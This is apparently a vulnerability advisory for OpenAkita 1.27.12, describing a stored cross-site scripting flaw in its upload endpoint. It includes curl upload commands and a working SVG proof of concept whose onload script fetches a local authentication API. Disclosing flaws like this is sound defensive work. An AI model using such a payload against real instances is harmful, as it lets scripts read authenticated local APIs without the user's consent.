Overview

• Version: 1.27.12
• Severity: High
• Project: https://github.com/openakita/openakita

In OpenAkita, the upload endpoint only blocks a small set of "executable program" file extensions. There is no whitelist-based MIME restriction. Uploaded files have their media_type inferred from the file extension and are served directly via FileResponse without forcing an attachment download. As a result, attackers can upload script-capable content such as SVG or HTML files. When the returned URL is opened directly in a browser, the script executes within the OpenAkita same-origin context.

Root Cause Analysis

• Only blocks a few extensions such as .exe/.bat/.cmd/.com/.scr/.pif/.msi/.sh/.ps1.
• Does not block executable or renderable types like image/svg+xml or text/html.
• FileResponse does not enforce Content-Disposition: attachment.
• OpenAkita defaults to allowing requests from 127.0.0.1 without authentication, enabling same-origin scripts in the browser to directly access local APIs.

POC Verification

Verified on a locally running instance at http://127.0.0.1:18900:

• GET /api/auth/check returns:

❯ curl -X GET <http://127.0.0.1:18900/api/auth/check>
{"authenticated":true,"method":"local","password_user_set":true}#

• Create an SVG POC:

<svg xmlns="<http://www.w3.org/2000/svg>" width="320" height="120" onload="fetch('/api/auth/check').then(r=>r.text()).then(t=>document.getElementById('out').textContent=t)">
  <text id="out" x="12" y="24">pending...</text>
</svg>

• Upload the SVG POC:

curl -X POST <http://127.0.0.1:18900/api/upload> \\
  -F 'file=@openakita_poc.svg;type=image/svg+xml'

Response:

❯ curl -X POST <http://127.0.0.1:18900/api/upload> \\
  -F 'file=@openakita_poc.svg;type=image/svg+xml'
{"status":"ok","upload_id":"1779631349_b6b04a66.svg","filename":"1779631349_b6b04a66.svg","original_name":"openakita_poc.svg","size":228,"content_type":"image/svg+xml","mime_type":"image/svg+xml","url":"/api/uploads/1779631349_b6b04a66.svg","local_path":"/root/.openakita/uploads/1779631349_b6b04a66.svg"}#